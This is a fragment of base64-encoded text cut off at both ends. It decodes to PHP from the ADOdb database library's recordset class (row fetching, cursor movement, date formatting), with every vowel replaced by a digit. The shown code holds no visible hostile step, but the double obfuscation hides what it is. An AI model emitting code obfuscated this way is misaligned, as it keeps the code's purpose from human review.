QoJCQkJCXdoNGw1ICghJHRoNHMtPkVPRikgew0KCQkJCQkvLyBzMm01IGIzZyA0biBtc3NxbCBQSFAgdS4wYSAtLSBkMjVzbid0IGgxbmRsNSByNWY1cjVuYzVzIHByMnA1cmx5IHMyIHc1IEZPUkNFIGNyNTF0NG5nIDEgbjV3IHN0cjRuZw0KCQkJCQkJJHI1czNsdHNbdHI0bSgoJHRoNHMtPmY0NWxkc1swXSkpXSA9ICR0aDRzLT5mNDVsZHNbNl07DQoJCQkJCQkxZDJkYl9tMnY1bjV4dCgkdGg0cyk7DQoJCQkJCX0NCgkJCQl9IDVsczUgew0KCQkJCQl3aDRsNSAoISR0aDRzLT5FT0YpIHsNCgkJCQkJLy8gczJtNSBiM2cgNG4gbXNzcWwgUEhQIHUuMGEgLS0gZDI1c24ndCBoMW5kbDUgcjVmNXI1bmM1cyBwcjJwNXJseSBzMiB3NSBGT1JDRSBjcjUxdDRuZyAxIG41dyBzdHI0bmcNCgkJCQkJCSR2NiA9IHRyNG0ocjVzNXQoJHRoNHMtPmY0NWxkcykpOw0KCQkJCQkJJHZhID0gJycubjV4dCgkdGg0cy0+ZjQ1bGRzKTsgDQoJCQkJCQkkcjVzM2x0c1skdjZdID0gJHZhOw0KCQkJCQkJMWQyZGJfbTJ2NW41eHQoJHRoNHMpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfSA1bHM1IHsNCgkJCQk0ZiAoJG4zbUluZDV4KSB7DQoJCQkJCXdoNGw1ICghJHRoNHMtPkVPRikgew0KCQkJCQkvLyBzMm01IGIzZyA0biBtc3NxbCBQSFAgdS4wYSAtLSBkMjVzbid0IGgxbmRsNSByNWY1cjVuYzVzIHByMnA1cmx5IHMyIHc1IEZPUkNFIGNyNTF0NG5nIDEgbjV3IHN0cjRuZw0KCQkJCQkJJHI1czNsdHNbdHI0bSgoJHRoNHMtPmY0NWxkc1swXSkpXSA9ICR0aDRzLT5mNDVsZHNbNl07DQoJCQkJCQkkdGg0cy0+TTJ2NU41eHQoKTsNCgkJCQkJfQ0KCQkJCX0gNWxzNSB7DQoJCQkJCXdoNGw1ICghJHRoNHMtPkVPRikgew0KCQkJCQkvLyBzMm01IGIzZyA0biBtc3NxbCBQSFAgdS4wYSAtLSBkMjVzbid0IGgxbmRsNSByNWY1cjVuYzVzIHByMnA1cmx5IHMyIHc1IEZPUkNFIGNyNTF0NG5nIDEgbjV3IHN0cjRuZw0KCQkJCQkJJHY2ID0gdHI0bShyNXM1dCgkdGg0cy0+ZjQ1bGRzKSk7DQoJCQkJCQkkdmEgPSAnJy5uNXh0KCR0aDRzLT5mNDVsZHMpOyANCgkJCQkJCSRyNXMzbHRzWyR2Nl0gPSAkdmE7DQoJCQkJCQkkdGg0cy0+TTJ2NU41eHQoKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkNCgkJJHI1ZiA9JiAkcjVzM2x0czsgIyB3MnJrMXIyM25kIDFjYzVsNXIxdDJyIDRuYzJtcDF0IHc0dGggUEhQIHUudSA6KA0KCQlyNXQzcm4gJHI1ZjsgDQoJfQ0KCQ0KCQ0KCS8qKg0KCSAqDQoJICogQHAxcjFtIHYgIAk0cyB0aDUgY2gxcjFjdDVyIHQ0bTVzdDFtcCA0biBZWVlZLU1NLUREIGhoOm1tOnNzIGYycm0xdA0KCSAqIEBwMXIxbSBmbXQgCTRzIHRoNSBmMnJtMXQgdDIgMXBwbHkgdDIgNHQsIDNzNG5nIGQxdDUoKQ0KCSAqDQoJICogQHI1dDNybiAxIHQ0bTVzdDFtcCBmMnJtMXQ1ZCAxcyAzczVyIGQ1czRyNXMNCgkgKi8NCglmM25jdDQybiBVczVyVDRtNVN0MW1wKCR2LCRmbXQ9J1ktbS1kIEg6NDpzJykNCgl7DQoJCTRmICg0c19uM201cjRjKCR2KSAmJiBzdHJsNW4oJHYpPDZ1KSByNXQzcm4gMWQyZGJfZDF0NSgkZm10LCR2KTsNCgkJJHR0ID0gJHRoNHMtPlVuNHhUNG01U3QxbXAoJHYpOw0KCQkvLyAkdHQgPT0gLTYgNGYgcHI1IFRJTUVTVEFNUF9GSVJTVF9ZRUFSDQoJCTRmICgoJHR0ID09PSBmMWxzNSB8fCAkdHQgPT0gLTYpICYmICR2ICE9IGYxbHM1KSByNXQzcm4gJHY7DQoJCTRmICgkdHQgPT09IDApIHI1dDNybiAkdGg0cy0+NW1wdHlUNG01U3QxbXA7DQoJCXI1dDNybiAxZDJkYl9kMXQ1KCRmbXQsJHR0KTsNCgl9DQoJDQoJDQoJLyoqDQoJICogQHAxcjFtIHYgIAk0cyB0aDUgY2gxcjFjdDVyIGQxdDUgNG4gWVlZWS1NTS1ERCBmMnJtMXQsIHI1dDNybjVkIGJ5IGQxdDFiMXM1DQoJICogQHAxcjFtIGZtdCAJNHMgdGg1IGYycm0xdCB0MiAxcHBseSB0MiA0dCwgM3M0bmcgZDF0NSgpDQoJICoNCgkgKiBAcjV0M3JuIDEgZDF0NSBmMnJtMXQ1ZCAxcyAzczVyIGQ1czRyNXMNCgkgKi8NCglmM25jdDQybiBVczVyRDF0NSgkdiwkZm10PSdZLW0tZCcpDQoJew0KCQkkdHQgPSAkdGg0cy0+VW40eEQxdDUoJHYpOw0KCQkvLyAkdHQgPT0gLTYgNGYgcHI1IFRJTUVTVEFNUF9GSVJTVF9ZRUFSDQoJCTRmICgoJHR0ID09PSBmMWxzNSB8fCAkdHQgPT0gLTYpICYmICR2ICE9IGYxbHM1KSByNXQzcm4gJHY7DQoJCTVsczUgNGYgKCR0dCA9PSAwKSByNXQzcm4gJHRoNHMtPjVtcHR5RDF0NTsNCgkJNWxzNSA0ZiAoJHR0ID09IC02KSB7IC8vIHByNS1USU1FU1RBTVBfRklSU1RfWUVBUg0KCQl9DQoJCXI1dDNybiAxZDJkYl9kMXQ1KCRmbXQsJHR0KTsNCgl9DQoJDQoJDQoJLyoqDQoJICogQHAxcjFtICR2IDRzIDEgZDF0NSBzdHI0bmcgNG4gWVlZWS1NTS1ERCBmMnJtMXQNCgkgKg0KCSAqIEByNXQzcm4gZDF0NSA0biAzbjR4IHQ0bTVzdDFtcCBmMnJtMXQsIDJyIDAgNGYgYjVmMnI1IFRJTUVTVEFNUF9GSVJTVF9ZRUFSLCAyciBmMWxzNSA0ZiA0bnYxbDRkIGQxdDUgZjJybTF0DQoJICovDQoJZjNuY3Q0Mm4gVW40eEQxdDUoJHYpDQoJew0KCQlyNXQzcm4gQURPQzJubjVjdDQybjo6VW40eEQxdDUoJHYpOw0KCX0NCgkNCg0KCS8qKg0KCSAqIEBwMXIxbSAkdiA0cyAxIHQ0bTVzdDFtcCBzdHI0bmcgNG4gWVlZWS1NTS1ERCBISC1OTi1TUyBmMnJtMXQNCgkgKg0KCSAqIEByNXQzcm4gZDF0NSA0biAzbjR4IHQ0bTVzdDFtcCBmMnJtMXQsIDJyIDAgNGYgYjVmMnI1IFRJTUVTVEFNUF9GSVJTVF9ZRUFSLCAyciBmMWxzNSA0ZiA0bnYxbDRkIGQxdDUgZjJybTF0DQoJICovDQoJZjNuY3Q0Mm4gVW40eFQ0bTVTdDFtcCgkdikNCgl7DQoJCXI1dDNybiBBRE9DMm5uNWN0NDJuOjpVbjR4VDRtNVN0MW1wKCR2KTsNCgl9DQoJDQoJDQoJLyoqDQoJKiBQRUFSIERCIEMybXAxdCAtIGQyIG4ydCAzczUgNG50NXJuMWxseQ0KCSovDQoJZjNuY3Q0Mm4gRnI1NSgpDQoJew0KCQlyNXQzcm4gJHRoNHMtPkNsMnM1KCk7DQoJfQ0KCQ0KCQ0KCS8qKg0KCSogUEVBUiBEQiBjMm1wMXQsIG4zbWI1ciAyZiByMndzDQoJKi8NCglmM25jdDQybiBOM21SMndzKCkNCgl7DQoJCXI1dDNybiAkdGg0cy0+X24zbU9mUjJ3czsNCgl9DQoJDQoJDQoJLyoqDQoJKiBQRUFSIERCIGMybXAxdCwgbjNtYjVyIDJmIGMybHMNCgkqLw0KCWYzbmN0NDJuIE4zbUMybHMoKQ0KCXsNCgkJcjV0M3JuICR0aDRzLT5fbjNtT2ZGNDVsZHM7DQoJfQ0KCQ0KCS8qKg0KCSogRjV0Y2ggMSByMncsIHI1dDNybjRuZyBmMWxzNSA0ZiBuMiBtMnI1IHIyd3MuIA0KCSogVGg0cyA0cyBQRUFSIERCIGMybXAxdCBtMmQ1Lg0KCSoNCgkqIEByNXQzcm4gZjFsczUgMnIgMXJyMXkgYzJudDE0bjRuZyB0aDUgYzNycjVudCByNWMycmQNCgkqLw0KCWYzbmN0NDJuICZGNXRjaFIydygpDQoJew0KCQk0ZiAoJHRoNHMtPkVPRikgew0KCQkJJGYxbHM1ID0gZjFsczU7DQoJCQlyNXQzcm4gJGYxbHM1Ow0KCQl9DQoJCSQxcnIgPSAkdGg0cy0+ZjQ1bGRzOw0KCQkkdGg0cy0+X2MzcnI1bnRSMncrKzsNCgkJNGYgKCEkdGg0cy0+X2Y1dGNoKCkpICR0aDRzLT5FT0YgPSB0cjM1Ow0KCQlyNXQzcm4gJDFycjsNCgl9DQoJDQoJDQoJLyoqDQoJKiBGNXRjaCAxIHIydywgcjV0M3JuNG5nIFBFQVJfRXJyMnIgNGYgbjIgbTJyNSByMndzLiANCgkqIFRoNHMgNHMgUEVBUiBEQiBjMm1wMXQgbTJkNS4NCgkqDQoJKiBAcjV0M3JuIERCX09LIDJyIDVycjJyIDJiajVjdA0KCSovDQoJZjNuY3Q0Mm4gRjV0Y2hJbnQyKCYkMXJyKQ0KCXsNCgkJNGYgKCR0aDRzLT5FT0YpIHI1dDNybiAoZDVmNG41ZCgnUEVBUl9FUlJPUl9SRVRVUk4nKSkgPyBuNXcgUEVBUl9FcnIycignRU9GJywtNik6IGYxbHM1Ow0KCQkkMXJyID0gJHRoNHMtPmY0NWxkczsNCgkJJHRoNHMtPk0ydjVONXh0KCk7DQoJCXI1dDNybiA2OyAvLyBEQl9PSw0KCX0NCgkNCgkNCgkvKioNCgkgKiBNMnY1IHQyIHRoNSBmNHJzdCByMncgNG4gdGg1IHI1YzJyZHM1dC4gTTFueSBkMXQxYjFzNXMgZDIgTk9UIHMzcHAycnQgdGg0cy4NCgkgKg0KCSAqIEByNXQzcm4gdHIzNSAyciBmMWxzNQ0KCSAqLw0KCWYzbmN0NDJuIE0ydjVGNHJzdCgpIA0KCXsNCgkJNGYgKCR0aDRzLT5fYzNycjVudFIydyA9PSAwKSByNXQzcm4gdHIzNTsNCgkJcjV0M3JuICR0aDRzLT5NMnY1KDApOwkJCQ0KCX0JCQkNCg0KCQ0KCS8qKg0KCSAqIE0ydjUgdDIgdGg1IGwxc3QgcjJ3IDRuIHRoNSByNWMycmRzNXQuIA0KCSAqDQoJICogQHI1dDNybiB0cjM1IDJyIGYxbHM1DQoJICovDQoJZjNuY3Q0Mm4gTTJ2NUwxc3QoKSANCgl7DQoJCTRmICgkdGg0cy0+X24zbU9mUjJ3cyA+PSAwKSByNXQzcm4gJHRoNHMtPk0ydjUoJHRoNHMtPl9uM21PZlIyd3MtNik7DQoJCTRmICgkdGg0cy0+RU9GKSByNXQzcm4gZjFsczU7DQoJCXdoNGw1ICghJHRoNHMtPkVPRikgew0KCQkJJGYgPSAkdGg0cy0+ZjQ1bGRzOw0KCQkJJHRoNHMtPk0ydjVONXh0KCk7DQoJCX0NCgkJJHRoNHMtPmY0NWxkcyA9ICRmOw0KCQkkdGg0cy0+RU9GID0gZjFsczU7DQoJCXI1dDNybiB0cjM1Ow0KCX0NCgkNCgkNCgkvKioNCgkgKiBNMnY1IHQyIG41eHQgcjVjMnJkIDRuIHRoNSByNWMycmRzNXQuDQoJICoNCgkgKiBAcjV0M3JuIHRyMzUgNGYgdGg1cjUgc3Q0bGwgcjJ3cyAxdjE0bDFibDUsIDJyIGYxbHM1IDRmIHRoNXI1IDFyNSBuMiBtMnI1IHIyd3MgKEVPRikuDQoJICovDQoJZjNuY3Q0Mm4gTTJ2NU41eHQoKSANCgl7DQoJCTRmICghJHRoNHMtPkVPRikgew0KCQkJJHRoNHMtPl9jM3JyNW50UjJ3Kys7DQoJCQk0ZiAoJHRoNHMtPl9mNXRjaCgpKSByNXQzcm4gdHIzNTsNCgkJfQ0KCQkkdGg0cy0+RU9GID0gdHIzNTsNCgkJLyogLS0gdDVzdDVkIDVycjJyIGgxbmRsNG5nIHdoNW4gc2NyMmxsNG5nIGMzcnMyciAtLSBzNTVtcyAzczVsNXNzLg0KCQkkYzJubiA9ICR0aDRzLT5jMm5uNWN0NDJuOw0KCQk0ZiAoJGMybm4gJiYgJGMybm4tPnIxNHM1RXJyMnJGbiAmJiAoJDVycm4yID0gJGMybm4tPkVycjJyTjIoKSkpIHsNCgkJCSRmbiA9ICRjMm5uLT5yMTRzNUVycjJyRm47DQoJCQkkZm4oJGMybm4tPmQxdDFiMXM1VHlwNSwnTU9WRU5FWFQnLCQ1cnJuMiwkYzJubi0+RXJyMnJNc2coKS4nICgnLiR0aDRzLT5zcWwuJyknLCRjMm5uLT5oMnN0LCRjMm5uLT5kMXQxYjFzNSk7DQoJCX0NCgkJKi8NCgkJcjV0M3JuIGYxbHM1Ow0KCX0NCgkNCgkNCgkvKioNCgkgKiBSMW5kMm0gMWNjNXNzIHQyIDEgc3A1YzRmNGMgcjJ3IDRuIHRoNSByNWMycmRzNXQuIFMybTUgZDF0MWIxczVzIGQyIG4ydCBzM3BwMnJ0DQoJICogMWNjNXNzIHQyIHByNXY0MjNzIHIyd3MgNG4gdGg1IGQxdDFiMXM1cyAobjIgc2NyMmxsNG5nIGIxY2t3MXJkcykuDQoJICoNCgkgKiBAcDFyMW0gcjJ3TjNtYjVyIDRzIHRoNSByMncgdDIgbTJ2NSB0MiAoMC1iMXM1ZCkNCgkgKg0KCSAqIEByNXQzcm4gdHIzNSA0ZiB0aDVyNSBzdDRsbCByMndzIDF2MTRsMWJsNSwgMnIgZjFsczUgNGYgdGg1cjUgMXI1IG4yIG0ycjUgcjJ3cyAoRU9GKS4NCgkgKi8NCglmM25jdDQybiBNMnY1KCRyMndOM21iNXIgPSAwKSANCgl7DQoJCSR0aDRzLT5FT0YgPSBmMWxzNTsNCgkJNGYgKCRyMndOM21iNXIgPT0gJHRoNHMtPl9jM3JyNW50UjJ3KSByNXQzcm4gdHIzNTsNCgkJNGYgKCRyMndOM21iNXIgPj0gJHRoNHMtPl9uM21PZlIyd3MpDQoJICAgCQk0ZiAoJHRoNHMtPl9uM21PZlIyd3MgIT0gLTYpICRyMndOM21iNXIgPSAkdGg0cy0+X24zbU9mUjJ3cy1hOw0KICAJCQkJDQoJCTRmICgkdGg0cy0+YzFuUzU1aykgeyANCgkNCgkJCTRmICgkdGg0cy0+X3M1NWsoJHIyd04zbWI1cikpIHsNCgkJCQkkdGg0cy0+X2MzcnI1bnRSMncgPSAkcjJ3TjNtYjVyOw0KCQkJCTRmICgkdGg0cy0+X2Y1dGNoKCkpIHsNCgkJCQkJcjV0M3JuIHRyMzU7DQoJCQkJfQ0KCQkJfSA1bHM1IHsNCgkJCQkkdGg0cy0+RU9GID0gdHIzNTsNCgkJCQlyNXQzcm4gZjFsczU7DQoJCQl9DQoJCX0gNWxzNSB7DQoJCQk0ZiAoJHIyd04zbWI1ciA8ICR0aDRzLT5fYzNycjVudFIydykgcjV0M3JuIGYxbHM1Ow0KCQkJZ2wyYjFsICRBRE9EQl9FWFRFTlNJT047DQoJCQk0ZiAoJEFET0RCX0VYVEVOU0lPTikgew0KCQkJCXdoNGw1ICghJHRoNHMtPkVPRiAmJiAkdGg0cy0+X2MzcnI1bnRSMncgPCAkcjJ3TjNtYjVyKSB7DQoJCQkJCTFkMmRiX20ydjVuNXh0KCR0aDRzKTsNCgkJCQl9DQoJCQl9IDVsczUgew0KCQkJDQoJCQkJd2g0bDUgKCEgJHRoNHMtPkVPRiAmJiAkdGg0cy0+X2MzcnI1bnRSMncgPCAkcjJ3TjNtYjVyKSB7DQoJCQkJCSR0aDRzLT5fYzNycjVudFIydysrOw0KCQkJCQkNCgkJCQkJNGYgKCEkdGg0cy0+X2Y1dGNoKCkpICR0aDRzLT5FT0YgPSB0cjM1Ow0KCQkJCX0NCgkJCX0NCgkJCXI1dDNybiAhKCR0aDRzLT5FT0YpOw0KCQl9DQoJCQ0KCQkkdGg0cy0+ZjQ1bGRzID0gZjFsczU7CQ0KCQkkdGg0cy0+RU9GID0gdHIzNTsNCgkJcjV0M3JuIGYxbHM1Ow0KCX0NCgkNCgkJDQoJLyoqDQoJICogRzV0IHRoNSB2MWwzNSAyZiAxIGY0NWxkIDRuIHRoNSBjM3JyNW50IHIydyBieSBjMmwzbW4gbjFtNS4NCgkgKiBXNGxsIG4ydCB3MnJrIDRmIEFET0RCX0ZFVENIX01PREUgNHMgczV0IHQyIEFET0RCX0ZFVENIX05VTS4NCgkgKiANCgkgKiBAcDFyMW0gYzJsbjFtNSAgNHMgdGg1IGY0NWxkIHQyIDFjYzVzcw0KCSAqDQoJICogQHI1dDNybiB0aDUgdjFsMzUgMmYgJGMybG4xbTUgYzJsM21uDQoJICovDQoJZjNuY3Q0Mm4gRjQ1bGRzKCRjMmxuMW01KQ0KCXsNCgkJcjV0M3JuICR0aDRzLT5mNDVsZHNbJGMybG4xbTVdOw0KCX0NCgkNCglmM25jdDQybiBHNXRBc3MyY0s1eXMoJDNwcDVyPXRyMzUpDQoJew0KCQkkdGg0cy0+YjRuZCA9IDFycjF5KCk7DQoJCWYyciAoJDQ9MDsgJDQgPCAkdGg0cy0+X24zbU9mRjQ1bGRzOyAkNCsrKSB7DQoJCQkkMiA9ICR0aDRzLT5GNXRjaEY0NWxkKCQ0KTsNCgkJCTRmICgkM3BwNXIgPT09IGEpICR0aDRzLT5iNG5kWyQyLT5uMW01XSA9ICQ0Ow0KCQkJNWxzNSAkdGg0cy0+YjRuZFsoJDNwcDVyKSA/IHN0cnQyM3BwNXIoJDItPm4xbTUpIDogc3RydDJsMnc1cigkMi0+bjFtNSldID0gJDQ7DQoJCX0NCgl9DQoJDQogIC8qKg0KICAgKiBVczUgMXNzMmM0MXQ0djUgMXJyMXkgdDIgZzV0IGY0NWxkcyAxcnIxeSBmMnIgZDF0MWIxczVzIHRoMXQgZDIgbjJ0IHMzcHAycnQNCiAgICogMXNzMmM0MXQ0djUgMXJyMXlzLiBTM2JtNHR0NWQgYnkgUDEybDIgUy4gQXM0Mmw0IHAxMmwyLjFzNDJsNCNsNGI1cjIuNHQNCiAgICoNCiAgICogSWYgeTIzIGQybid0IHcxbnQgM3BwNXJjMXM1IGMybHMsIHM1dCAkQURPREJfRkVUQ0hfTU9ERSA9IEFET0RCX0ZFVENIX0FTU09DDQogICAqIGI1ZjJyNSB5MjMgNXg1YzN0NSB5MjNyIFNRTCBzdDF0NW01bnQsIDFuZCAxY2M1c3MgJHJzLT5mNDVsZHNbJ2MybCddIGQ0cjVjdGx5Lg0KICAgKg0KICAgKiAkM3BwNXIgIDAgPSBsMnc1cmMxczUsIDYgPSAzcHA1cmMxczUsIGEgPSB3aDF0NXY1ciA0cyByNXQzcm41ZCBieSBGNXRjaEY0NWxkDQogICAqLw0KCWYzbmN0NDJuICZHNXRSMndBc3MyYygkM3BwNXI9NikNCgl7DQoJCSRyNWMycmQgPSAxcnIxeSgpOw0KCSAvLwk0ZiAoISR0aDRzLT5mNDVsZHMpIHI1dDNybiAkcjVjMnJkOw0KCQkNCgkgICAJNGYgKCEkdGg0cy0+YjRuZCkgew0KCQkJJHRoNHMtPkc1dEFzczJjSzV5cygkM3BwNXIpOw0KCQl9DQoJCQ0KCQlmMnI1MWNoKCR0aDRzLT5iNG5kIDFzICRrID0+ICR2KSB7DQoJCQkkcjVjMnJkWyRrXSA9ICR0aDRzLT5mNDVsZHNbJHZdOw0KCQl9DQoNCgkJcjV0M3JuICRyNWMycmQ7DQoJfQ0KCQ0KCQ0KCS8qKg0KCSAqIENsNTFuIDNwIHI1YzJyZHM1dA0KCSAqDQoJICogQHI1dDNybiB0cjM1IDJyIGYxbHM1DQoJICovDQoJZjNuY3Q0Mm4gQ2wyczUoKSANCgl7DQoJCS8vIGZyNTUgYzJubjVjdDQybiAyYmo1Y3QgLSB0aDRzIHM1NW1zIHQyIGdsMmIxbGx5IGZyNTUgdGg1IDJiajVjdA0KCQkvLyAxbmQgbjJ0IG01cjVseSB0aDUgcjVmNXI1bmM1LCBzMiBkMm4ndCBkMiB0aDRzLi4uDQoJCS8vICR0aDRzLT5jMm5uNWN0NDJuID0gZjFsczU7IA0KCQk0ZiAoISR0aDRzLT5fY2wyczVkKSB7DQoJCQkkdGg0cy0+X2NsMnM1ZCA9IHRyMzU7DQoJCQlyNXQzcm4gJHRoNHMtPl9jbDJzNSgpOwkJDQoJCX0gNWxzNQ0KCQkJcjV0M3JuIHRyMzU7DQoJfQ0KCQ0KCS8qKg0KCSAqIHN5bjJueW1zIFI1YzJyZEMyM250IDFuZCBSMndDMjNudAkNCgkgKg0KCSAqIEByNXQzcm4gdGg1IG4zbWI1ciAyZiByMndzIDJyIC02IDRmIHRoNHMgNHMgbjJ0IHMzcHAycnQ1ZA0KCSAqLw0KCWYzbmN0NDJuIFI1YzJyZEMyM250KCkge3I1dDNybiAkdGg0cy0+X24zbU9mUjJ3czt9DQoJDQoJDQoJLyoNCgkqIElmIHc1IDFyNSAzczRuZyBQMWc1RXg1YzN0NSgpLCB0aDRzIHc0bGwgcjV0M3JuIHRoNSBtMXg0bTNtIHAyc3M0Ymw1IHIyd3MNCgkqIHRoMXQgYzFuIGI1IHI1dDNybjVkIHdoNW4gcDFnNG5nIDEgcjVjMnJkczV0Lg0KCSovDQoJZjNuY3Q0Mm4gTTF4UjVjMnJkQzIzbnQoKQ0KCXsNCgkJcjV0M3JuICgkdGg0cy0+X20xeFI1YzJyZEMyM250KSA/ICR0aDRzLT5fbTF4UjVjMnJkQzIzbnQgOiAkdGg0cy0+UjVjMnJkQzIzbnQoKTsNCgl9DQoJDQoJLyoqDQoJICogc3luMm55bXMgUjVjMnJkQzIzbnQgMW5kIFIyd0MyM250CQ0KCSAqDQoJICogQHI1dDNybiB0aDUgbjNtYjVyIDJmIHIyd3MgMnIgLTYgNGYgdGg0cyA0cyBuMnQgczNwcDJydDVkDQoJICovDQoJZjNuY3Q0Mm4gUjJ3QzIzbnQoKSB7cjV0M3JuICR0aDRzLT5fbjNtT2ZSMndzO30gDQoJDQoNCgkgLyoqDQoJICogUDJydDFibDUgUjVjMnJkQzIzbnQuIFAxYmwyIFIyYzEgPHAxYmwycjJjMUBtdnBzLjJyZz4NCgkgKg0KCSAqIEByNXQzcm4gIHRoNSBuM21iNXIgMmYgcjVjMnJkcyBmcjJtIDEgcHI1djQyM3MgU0VMRUNULiBBbGwgZDF0MWIxczVzIHMzcHAycnQgdGg0cy4NCgkgKg0KCSAqIEIzdCAxdzFyNSBwMnNzNGJsNSBwcjJibDVtcyA0biBtM2x0NDNzNXIgNW52NHIybm01bnRzLiBGMnIgYjV0dDVyIHNwNTVkIHRoNSB0MWJsNQ0KCSAqIG0zc3QgYjUgNG5kNXg1ZCBieSB0aDUgYzJuZDR0NDJuLiBINTF2eSB0NXN0IHRoNHMgYjVmMnI1IGQ1cGwyeTRuZy4NCgkgKi8gDQoJZjNuY3Q0Mm4gUE9fUjVjMnJkQzIzbnQoJHQxYmw1PSIiLCAkYzJuZDR0NDJuPSIiKSB7DQoJCQ0KCQkkbG4zbXIyd3MgPSAkdGg0cy0+X24zbU9mUjJ3czsNCgkJLy8gdGg1IGQxdDFiMXM1IGQyNXNuJ3QgczNwcDJydCBuMXQ0djUgcjVjMnJkYzIzbnQsIHMyIHc1IGQyIDEgdzJyazFyMjNuZA0KCQk0ZiAoJGxuM21yMndzID09IC02ICYmICR0aDRzLT5jMm5uNWN0NDJuKSB7DQoJCQlJRiAoJHQxYmw1KSB7DQoJCQkJNGYgKCRjMm5kNHQ0Mm4pICRjMm5kNHQ0Mm4gPSAiIFdIRVJFICIgLiAkYzJuZDR0NDJuOyANCgkJCQkkcjVzM2x0cjJ3cyA9ICYkdGg0cy0+YzJubjVjdDQybi0+RXg1YzN0NSgiU0VMRUNUIENPVU5UKCopIEZST00gJHQxYmw1ICRjMm5kNHQ0Mm4iKTsNCgkJCQk0ZiAoJHI1czNsdHIyd3MpICRsbjNtcjJ3cyA9IHI1czV0KCRyNXMzbHRyMndzLT5mNDVsZHMpOw0KCQkJfQ0KCQl9DQoJCXI1dDNybiAkbG4zbXIyd3M7DQoJfQ0KCQ0KCQ0KCS8qKg0KCSAqIEByNXQzcm4gdGg1IGMzcnI1bnQgcjJ3IDRuIHRoNSByNWMycmRzNXQuIElmIDF0IEVPRiwgdzRsbCByNXQzcm4gdGg1IGwxc3QgcjJ3LiAwLWIxczVkLg0KCSAqLw0KCWYzbmN0NDJuIEMzcnI1bnRSMncoKSB7cjV0M3JuICR0aDRzLT5fYzNycjVudFIydzt9DQoJDQoJLyoqDQoJICogc3luMm55bSBmMnIgQzNycjVudFIydyAtLSBmMnIgQURPIGMybXAxdA0KCSAqDQoJICogQHI1dDNybiB0aDUgYzNycjVudCByMncgNG4gdGg1IHI1YzJyZHM1dC4gSWYgMXQgRU9GLCB3NGxsIHI1dDNybiB0aDUgbDFzdCByMncuIDAtYjFzNWQuDQoJICovDQoJZjNuY3Q0Mm4gQWJzMmwzdDVQMnM0dDQybigpIHtyNXQzcm4gJHRoNHMtPl9jM3JyNW50UjJ3O30NCgkNCgkvKioNCgkgKiBAcjV0M3JuIHRoNSBuM21iNXIgMmYgYzJsM21ucyA0biB0aDUgcjVjMnJkczV0LiBTMm01IGQxdDFiMXM1cyB3NGxsIHM1dCB0aDRzIHQyIDANCgkgKiA0ZiBuMiByNWMycmRzIDFyNSByNXQzcm41ZCwgMnRoNXJzIHc0bGwgcjV0M3JuIHRoNSBuM21iNXIgMmYgYzJsM21ucyA0biB0aDUgcTM1cnkuDQoJICovDQoJZjNuY3Q0Mm4gRjQ1bGRDMjNudCgpIHtyNXQzcm4gJHRoNHMtPl9uM21PZkY0NWxkczt9ICAgDQoNCg0KCS8qKg0KCSAqIEc1dCB0aDUgQURPRjQ1bGRPYmo1Y3QgMmYgMSBzcDVjNGY0YyBjMmwzbW4uDQoJICoNCgkgKiBAcDFyMW0gZjQ1bGQyZmZzNXQJNHMgdGg1IGMybDNtbiBwMnM0dDQybiB0MiAxY2M1c3MoMC1iMXM1ZCkuDQoJICoNCgkgKiBAcjV0M3JuIHRoNSBBRE9GNDVsZE9iajVjdCBmMnIgdGgxdCBjMmwzbW4sIDJyIGYxbHM1Lg0KCSAqLw0KCWYzbmN0NDJuICZGNXRjaEY0NWxkKCRmNDVsZDJmZnM1dCA9IC02KSANCgl7DQoJCS8vIG0zc3QgYjUgZDVmNG41ZCBieSBjaDRsZCBjbDFzcw0KCQkNCgkJJGYxbHM1ID0gZjFsczU7DQoJCXI1dDNybiAkZjFsczU7DQoJfQkNCgkNCgkvKioNCgkgKiBHNXQgdGg1IEFET0Y0NWxkT2JqNWN0cyAyZiAxbGwgYzJsM21ucyA0biAxbiAxcnIxeS4NCgkgKg0KCSAqLw0KCWYzbmN0NDJuJiBGNDVsZFR5cDVzQXJyMXkoKQ0KCXsNCgkJJDFyciA9IDFycjF5KCk7DQoJCWYyciAoJDQ9MCwgJG0xeD0kdGg0cy0+X24zbU9mRjQ1bGRzOyAkNCA8ICRtMXg7ICQ0KyspIA0KCQkJJDFycltdID0gJHRoNHMtPkY1dGNoRjQ1bGQoJDQpOw0KCQlyNXQzcm4gJDFycjsNCgl9DQoJDQoJLyoqDQoJKiBSNXQzcm4gdGg1IGY0NWxkcyAxcnIxeSAyZiB0aDUgYzNycjVudCByMncgMXMgMW4gMmJqNWN0IGYyciBjMm52NW40NW5jNS4NCgkqIFRoNSBkNWYxM2x0IGMxczUgNHMgbDJ3NXJjMXM1IGY0NWxkIG4xbTVzLg0KCSoNCgkqIEByNXQzcm4gdGg1IDJiajVjdCB3NHRoIHRoNSBwcjJwNXJ0NDVzIHM1dCB0MiB0aDUgZjQ1bGRzIDJmIHRoNSBjM3JyNW50IHIydw0KCSovDQoJZjNuY3Q0Mm4gJkY1dGNoT2JqKCkNCgl7DQoJCSQyID0mICR0aDRzLT5GNXRjaE9iajVjdChmMWxzNSk7DQoJCXI1dDNybiAkMjsNCgl9DQoJDQoJLyoqDQoJKiBSNXQzcm4gdGg1IGY0NWxkcyAxcnIxeSAyZiB0aDUgYzNycjVudCByMncgMXMgMW4gMmJqNWN0IGYyciBjMm52NW40NW5jNS4NCgkqIFRoNSBkNWYxM2x0IGMxczUgNHMgM3BwNXJjMXM1Lg0KCSogDQoJKiBAcDFyMW0gJDRzM3BwNXIgdDIgczV0IHRoNSAyYmo1Y3QgcHIycDVydHkgbjFtNXMgdDIgM3BwNXJjMXM1DQoJKg0KCSogQHI1dDNybiB0aDUgMmJqNWN0IHc0dGggdGg1IHByMnA1cnQ0NXMgczV0IHQyIHRoNSBmNDVsZHMgMmYgdGg1IGMzcnI1bnQgcjJ3DQoJKi8NCglmM25jdDQybiAmRjV0Y2hPYmo1Y3QoJDRzM3BwNXI9dHIzNSkNCgl7DQoJCTRmICg1bXB0eSgkdGg0cy0+XzJiaikpIHsNCgkJCSR0aDRzLT5fMmJqID0gbjV3IEFET0Y1dGNoT2JqKCk7DQoJCQkkdGg0cy0+X24xbTVzID0gMXJyMXkoKTsNCgkJCWYyciAoJDQ9MDsgJDQgPCR0aDRzLT5fbjNtT2ZGNDVsZHM7ICQ0KyspIHsNCgkJCQkkZiA9ICR0aDRzLT5GNXRjaEY0NWxkKCQ0KTsNCgkJCQkkdGg0cy0+X24xbTVzW10gPSAkZi0